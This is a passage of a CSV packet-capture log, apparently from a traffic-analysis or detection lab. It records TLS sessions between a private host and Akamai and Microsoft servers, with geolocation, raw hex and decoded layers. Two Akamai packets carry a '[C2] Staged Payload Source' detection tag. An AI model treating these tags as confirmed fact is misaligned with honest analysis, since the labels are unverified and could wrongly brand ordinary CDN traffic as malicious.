\"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35353, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29353, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 3129735802, \"\"ack\"\": 307433309, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 49020, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:46.748809,21,TCP 2.23.89.83:443 -> 10.152.152.11:63940,2.23.89.83,10.152.152.11,443,63940,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=307433309 Ack=3129735802,bc2411360d0cbc24112907bb080045000331eb1d400040064e9c021759530a98980b01bbf9c412530f5dba8bfa7a5018003f013100005b3c510f455a99a67b793d3be150e345dca0517251cb473784bdecc584ad3c5bb1d28b6d19fc516b68a904cbeb895317be0d2e44478da2b899648737d213eb39dadf88b88ad0ced467bdddac3e5e78e2daca6e64a94a63341903791f7afd48796b96651c44509f078ae45a5c72af1e6d9b6c6c258b11fca887f9fc757f3fc69581c2cd16efac48d3230b7f4ecb76e42c09404194a24475ae443fc60047228496e7f5f81d04ace5824ac8fda0d427ba4b6ae57b593e90c1415899113e024fa73333f8778dc734fe623b9e4fa8dffd999aa5af44e17cca5ef24aff99f19dde0d86d2e8e90629e35a4913b42c4c4b392538a873801817af3ff2cb985091766ed924b8339259a1a7d58f4e2c233dd52032656ba7a7a2440c98e6fcdbd89b3d700d5eb2a8d0b61de82595f763f2ddc88a40f9c3fe1a7e04e9fd36477101dbb418852a2f5ed1988ea1665fba58dd0e93dfc481c38c6bc660d00ca56ca9c096b534503e25627bfd7dac5171166f7499589d0fcdfee77d4d3328e3e11fcfa70a0d943d54eb25481a88e9e6933c56f4ea5c9230588792e5b04fb2f476ae2c6520d29504328cefc37e5fcf98a780f368c6f0f8fc4e7e8e526f58b29c859ae4bec7420e375008f19a1e58e3ed3aba044a2ccad519c13114a1b7e9493f1a7784dd01b4b0d11b41c748c0d6161a890143fd85387a4176ab7bbe0b0e409f213e83aedf612ce55c1784526af733a688f76214c59d7cd8fb6e7e2cf8cf854e685aaee3a3e936eafaa92e4c2f00b664eee810834b955cdf96b2c1997435216666edf862483fe573699c7a135147f0bd3f31415b6b65ca01b01f4a33ebbe7f8563b4921086634606ba9eb443e0d34c6ae62159f257fefb1c13739b6ee58034aa2bdf53626af9cd915fd0aba11904e273c454a7abd4458ceb81f85171c58baa95f88bcb03d3aa9582e0edbb6e7d2791faa1073c73f8dbfb3b45ac083b91fdc2314f1d89dd44e1f261a333fff2227bce729b2b264b376a7e8acc892e3a6b87dc6a6fac6a7e5411e55abc1edcad18ae742a89e2798d27e4ed454c45d2c630aeac738ab6d8316ee61b00dce7525c11293ab0acee,\"[<Q.EZ..{y=;.P.E..QrQ.G7......<[...m..Qkh.....S..\n.DG....d.7...9........g...>^x...nd.Jc4..y.z.Hyk.e.DP....Z\\r..m.ll%.......u.?........H.#..N.v.,\t@A..Du.D?..G\"\"..........J....'.Kj.{Y>..AX..>.O.33.w..4.b;.O.......D.|.^.J.....\n.....).ZI..,LK9%8.s....?...P.vn.$.3.Y....N,#=. 2ek...D.......=p\n^......%..c....@....~...6Gq.....*/^....f_.X........k.`...l....4P>%b{.}.Qq.ot.X.....}M3(.....\n\n.=T.%H.....<V..\\.0X....O..v.,e ...2...~_.....h....N~.RoX.......B.7P....X..:..J,....1....I?.w.......A.H......C..8zAv.{...@.!>...a,.\\..Rj.3...b...|..n~,...NhZ....6....L/..d....K.\\.....t5!ff..bH?.si.z.QG..?1A[ke....J3....c....cF....C..Lj.!Y.W....s.n..4.+.Sbj..._......s.T...E....Qq...............n}'....<s...;E..;...1O...D..a.3..\"\"{.r.+&K7j~....:k..jo.j~T..Z......t*..y.'..ELE..0..s...1n.....R\\.):...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 817, \"\"id\"\": 60189, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20124, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 307433309, \"\"ack\"\": 3129735802, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 305, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"5b3c510f455a99a67b793d3be150e345dca0517251cb473784bdecc584ad3c5bb1d28b6d19fc516b68a904cbeb895317be0d2e44478da2b899648737d213eb39dadf88b88ad0ced467bdddac3e5e78e2daca6e64a94a63341903791f7afd48796b96651c44509f078ae45a5c72af1e6d9b6c6c258b11fca887f9fc757f3fc69581c2cd16efac48d3230b7f4ecb76e42c09404194a24475ae443fc60047228496e7f5f81d04ace5824ac8fda0d427ba4b6ae57b593e90c1415899113e024fa73333f8778dc734fe623b9e4fa8dffd999aa5af44e17cca5ef24aff99f19dde0d86d2e8e90629e35a4913b42c4c4b392538a873801817af3ff2cb985091766ed924b8339259a1a7d58f4e2c233dd52032656ba7a7a2440c98e6fcdbd89b3d700d5eb2a8d0b61de82595f763f2ddc88a40f9c3fe1a7e04e9fd36477101dbb418852a2f5ed1988ea1665fba58dd0e93dfc481c38c6bc660d00ca56ca9c096b534503e25627bfd7dac5171166f7499589d0fcdfee77d4d3328e3e11fcfa70a0d943d54eb25481a88e9e6933c56f4ea5c9230588792e5b04fb2f476ae2c6520d29504328cefc37e5fcf98a780f368c6f0f8fc4e7e8e526f58b29c859ae4bec7420e375008f19a1e58e3ed3aba044a2ccad519c13114a1b7e9493f1a7784dd01b4b0d11b41c748c0d6161a890143fd85387a4176ab7bbe0b0e409f213e83aedf612ce55c1784526af733a688f76214c59d7cd8fb6e7e2cf8cf854e685aaee3a3e936eafaa92e4c2f00b664eee810834b955cdf96b2c1997435216666edf862483fe573699c7a135147f0bd3f31415b6b65ca01b01f4a33ebbe7f8563b4921086634606ba9eb443e0d34c6ae62159f257fefb1c13739b6ee58034aa2bdf53626af9cd915fd0aba11904e273c454a7abd4458ceb81f85171c58baa95f88bcb03d3aa9582e0edbb6e7d2791faa1073c73f8dbfb3b45ac083b91fdc2314f1d89dd44e1f261a333fff2227bce729b2b264b376a7e8acc892e3a6b87dc6a6fac6a7e5411e55abc1edcad18ae742a89e2798d27e4ed454c45d2c630aeac738ab6d8316ee61b00dce7525c11293ab0acee\"\"}}]\"\n2026-06-14 14:16:46.796513,22,TCP 10.152.152.11:63940 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63940,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=3129735802 Ack=307434086,bc24112907bbbc2411360d0c0800450000288a1a4000800672a80a98980b02175953f9c401bbba8bfa7a1253126650102011bc760000,\".$.)...$.6\n...E..(..@...r.\n.....YS.......z.S.fP. ..v..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35354, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29352, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 3129735802, \"\"ack\"\": 307434086, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8209, \"\"chksum\"\": 48246, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:47.302575,23,TCP 10.152.152.11:63940 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63940,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3129735802 Ack=307434086,bc24112907bbbc2411360d0c0800450001a68a1b4000800671290a98980b02175953f9c401bbba8bfa7a125312665018201175b5000017030301790000000000000002bebac51352dfbcd3780637e2d9b33c7375895a9ab48d2bd2995ef0843f16c4025766d278f3d8741840ce8da0ead859bd6a566250390e77eb1ff053d51349bd7c0a8228c5439cbfa7c0cbfb909e11ab7fbef1c88f35e208f47728091d16268531658c24ac8dce3b743e954ad3731b8009db8cac85890924f722329be799ab3c050fe1866431a8c07d7281eabf817077e4e96576794dee299a548b93459aea4667655297c04b2ec0a6b1d33e19590e7b6914bad102205dbddba338258a174fb2b758973f16d9b1eafc204b9a350c4315fcce8782ac102b0b471d13cde3c3b519b709af3cb416d5821e83e8b91bebd22e6e63b71e48f31d63ca90adaa08f8b49ebbe4f684130cc5a19881e9119fb6834f250a7d34b9f0e343acac0dee7d654514fb08f7e4aade60d71bed414e819dbbe14ff1fe5d3771e4ff0b5b39ac14106d09f1cc8f5f5e9ccd440a8b4560be8e07c74002bdf3a027b06e3eaebdcaf76bd34fa51c47830f61e2ff2bcecb4311bc5969c8cc,\".$.)...$.6\n...E.....@...q)\n.....YS.......z.S.fP. .u.......y............R...x.7...<su.Z...+..^..?...Wf.x..t.@.....Y.jVbP9.w...S..I.|\n.(.C...............5...w(\t..&.1e.$...;t>.J.s..\t.....\t$.\"\"2....<....d1..}r....pw..evyM.).T..E..FgeR..K.....>.Y.{i.... ]...8%..O..X.?..... K.5.C.......+.G........\t.<............nc..H..c.......................O%\n}4...C..\n.}eE.......`...AN....O..]7q...[9...m\t..._^..D\n.E`....@....'.n>....k.O..G..a..+..C..Yi..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 422, \"\"id\"\": 35355, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28969, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 3129735802, \"\"ack\"\": 307434086, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8209, \"\"chksum\"\": 30133, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 377, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\xbe\\\\xba\\\\xc5\\\\x13R\\\\xdf\\\\xbc\\\\xd3x\\\\x067\\\\xe2\\\\xd9\\\\xb3<su\\\\x89Z\\\\x9a\\\\xb4\\\\x8d+\\\\xd2\\\\x99^\\\\xf0\\\\x84?\\\\x16\\\\xc4\\\\x02Wf\\\\xd2x\\\\xf3\\\\xd8t\\\\x18@\\\\xce\\\\x8d\\\\xa0\\\\xea\\\\xd8Y\\\\xbdjVbP9\\\\x0ew\\\\xeb\\\\x1f\\\\xf0S\\\\xd5\\\\x13I\\\\xbd|\\\\n\\\\x82(\\\\xc5C\\\\x9c\\\\xbf\\\\xa7\\\\xc0\\\\xcb\\\\xfb\\\\x90\\\\x9e\\\\x11\\\\xab\\\\x7f\\\\xbe\\\\xf1\\\\xc8\\\\x8f5\\\\xe2\\\\x08\\\\xf4w(\\\\t\\\\x1d\\\\x16&\\\\x851e\\\\x8c$\\\\xac\\\\x8d\\\\xce;t>\\\\x95J\\\\xd3s\\\\x1b\\\\x80\\\\t\\\\xdb\\\\x8c\\\\xac\\\\x85\\\\x89\\\\t$\\\\xf7\\\"\"2\\\\x9b\\\\xe7\\\\x99\\\\xab<\\\\x05\\\\x0f\\\\xe1\\\\x86d1\\\\xa8\\\\xc0}r\\\\x81\\\\xea\\\\xbf\\\\x81pw\\\\xe4\\\\xe9evyM\\\\xee)\\\\x9aT\\\\x8b\\\\x93E\\\\x9a\\\\xeaFgeR\\\\x97\\\\xc0K.\\\\xc0\\\\xa6\\\\xb1\\\\xd3>\\\\x19Y\\\\x0e{i\\\\x14\\\\xba\\\\xd1\\\\x02 ]\\\\xbd\\\\xdb\\\\xa38%\\\\x8a\\\\x17O\\\\xb2\\\\xb7X\\\\x97?\\\\x16\\\\xd9\\\\xb1\\\\xea\\\\xfc K\\\\x9a5\\\\x0cC\\\\x15\\\\xfc\\\\xce\\\\x87\\\\x82\\\\xac\\\\x10+\\\\x0bG\\\\x1d\\\\x13\\\\xcd\\\\xe3\\\\xc3\\\\xb5\\\\x19\\\\xb7\\\\t\\\\xaf<\\\\xb4\\\\x16\\\\xd5\\\\x82\\\\x1e\\\\x83\\\\xe8\\\\xb9\\\\x1b\\\\xeb\\\\xd2.nc\\\\xb7\\\\x1eH\\\\xf3\\\\x1dc\\\\xca\\\\x90\\\\xad\\\\xaa\\\\x08\\\\xf8\\\\xb4\\\\x9e\\\\xbb\\\\xe4\\\\xf6\\\\x84\\\\x13\\\\x0c\\\\xc5\\\\xa1\\\\x98\\\\x81\\\\xe9\\\\x11\\\\x9f\\\\xb6\\\\x83O%\\\\n}4\\\\xb9\\\\xf0\\\\xe3C\\\\xac\\\\xac\\\\r\\\\xee}eE\\\\x14\\\\xfb\\\\x08\\\\xf7\\\\xe4\\\\xaa\\\\xde`\\\\xd7\\\\x1b\\\\xedAN\\\\x81\\\\x9d\\\\xbb\\\\xe1O\\\\xf1\\\\xfe]7q\\\\xe4\\\\xff\\\\x0b[9\\\\xac\\\\x14\\\\x10m\\\\t\\\\xf1\\\\xcc\\\\x8f_^\\\\x9c\\\\xcdD\\\\n\\\\x8bE`\\\\xbe\\\\x8e\\\\x07\\\\xc7@\\\\x02\\\\xbd\\\\xf3\\\\xa0\\\\'\\\\xb0n>\\\\xae\\\\xbd\\\\xca\\\\xf7k\\\\xd3O\\\\xa5\\\\x1cG\\\\x83\\\\x0fa\\\\xe2\\\\xff+\\\\xce\\\\xcbC\\\\x11\\\\xbcYi\\\\xc8\\\\xcc' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:47.302620,24,TCP 2.23.89.83:443 -> 10.152.152.11:63940,2.23.89.83,10.152.152.11,443,63940,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=307434086 Ack=3129736184,bc2411360d0cbc24112907bb080045000028eb1e4000400651a4021759530a98980b01bbf9c412531266ba8bfbf85010003ffe270000,\".$.6\n..$.)....E..(..@.@.Q...YS\n........S.f....P..?.'..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 60190, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20900, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 307434086, \"\"ack\"\": 3129736184, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 65063, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:47.518371,25,TCP 10.152.152.11:63966 -> 40.104.62.178:443,10.152.152.11,40.104.62.178,63966,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,S,,,Ether > IP > TCP,3,TCP S Seq=507095589 Ack=0,bc24112907bbbc2411360d0c080045000034967c400080065a8a0a98980b28683eb2f9de01bb1e39aa25000000008002ffffa15a0000020405b40103030801010402,\".$.)...$.6\n...E..4.|@...Z.\n...(h>......9.%.........Z..............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 38524, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23178, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.104.62.178\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63966, \"\"dport\"\": 443, \"\"seq\"\": 507095589, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 65535, \"\"chksum\"\": 41306, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-14 14:16:47.518392,26,TCP 40.104.62.178:443 -> 10.152.152.11:63966,40.104.62.178,10.152.152.11,443,63966,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=251460784 Ack=507095590,bc2411360d0cbc24112907bb080045000034000040004006310728683eb20a98980b01bbf9de0efcfcb01e39aa268012faf009e40000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@.1.(h>.\n............9.&....\t..............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12551, \"\"src\"\": \"\"40.104.62.178\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63966, \"\"seq\"\": 251460784, \"\"ack\"\": 507095590, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 2532, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-14 14:16:47.518637,27,TCP 10.152.152.11:63966 -> 40.104.62.178:443,10.152.152.11,40.104.62.178,63966,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=507095590 Ack=251460785,bc24112907bbbc2411360d0c080045000028967d400080065a950a98980b28683eb2f9de01bb1e39aa260efcfcb150100400d26f0000,\".$.)...$.6\n...E..(.}@...Z.\n...(h>......9.&....P....o..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38525, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23189, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.104.62.178\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63966, \"\"dport\"\": 443, \"\"seq\"\": 507095590, \"\"ack\"\": 251460785, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 53871, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:47.520282,28,TCP 10.152.152.11:63966 -> 40.104.62.178:443,10.152.152.11,40.104.62.178,63966,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=507095590 Ack=251460785,bc24112907bbbc2411360d0c0800450000f3967e4000800659c90a98980b28683eb2f9de01bb1e39aa260efcfcb15018040059fb000016030300c6010000c203036a2f1a3ea3a66471f5d90ca1e2cee8e8fcd4587ed75e847cfd2fa01143d7b180000026c02cc02bc030c02fc024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a010000730000001700150000126f75746c6f6f6b2e6f66666963652e636f6d000500050100000000000a00080006001d00170018000b00020100000d001a0018080408050806040105010201040305030203020206010603002300000010000e000c02683208687474702f312e3100170000ff01000100,\".$.)...$.6\n...E....~@...Y.\n...(h>......9.&....P...Y..............j/.>..dq..........X~.^.|./..C.....&.,.+.0./.$.#.(.'.\n.\t.........=.<.5./.\n...s.........outlook.office.com..........\n.................\n.............................#.........h2.http/1.1.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 243, \"\"id\"\": 38526, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 22985, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.104.62.178\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63966, \"\"dport\"\": 443, \"\"seq\"\": 507095590, \"\"ack\"\": 251460785, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 23035, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 198, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=194 version=TLS 1.2 gmt_unix_time=Sun, 14 Jun 2026 21:16:46  (1781471806) random_bytes=a3a66471f5d90ca1e2cee8e8fcd4587ed75e847cfd2fa01143d7b180 sidlen=0 sid=b'' cipherslen=38 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=115 ext=[<TLS_Ext_ServerName  type=server_name len=23 servernameslen=21 servernames=[b'outlook.office.com'] |>, <TLS_Ext_CSR  type=status_request len=5 stype=ocsp req=[<OCSPStatusRequest  respidlen=0 reqextlen=0 reqext=<X509_Extensions  |> |>] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=26 sig_algs_len=24 sig_algs=[sha256+rsaepss, sha384+rsaepss, sha512+rsaepss, sha256+rsa, sha384+rsa, sha1+rsa, sha256+ecdsa, sha384+ecdsa, sha1+ecdsa, sha1+dsa, sha512+rsa, sha512+ecdsa] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ALPN  type=alpn len=14 protocolslen=12 protocols=[b'h2', b'http/1.1'] |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:47.520285,29,TCP 40.104.62.178:443 -> 10.152.152.11:63966,40.104.62.178,10.152.152.11,443,63966,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=251460785 Ack=507095793,bc2411360d0cbc24112907bb0800450000289c6f4000400694a328683eb20a98980b01bbf9de0efcfcb11e39aaf15010003f09d80000,\".$.6\n..$.)....E..(.o@.@...(h>.\n............9..P..?\t...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 40047, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 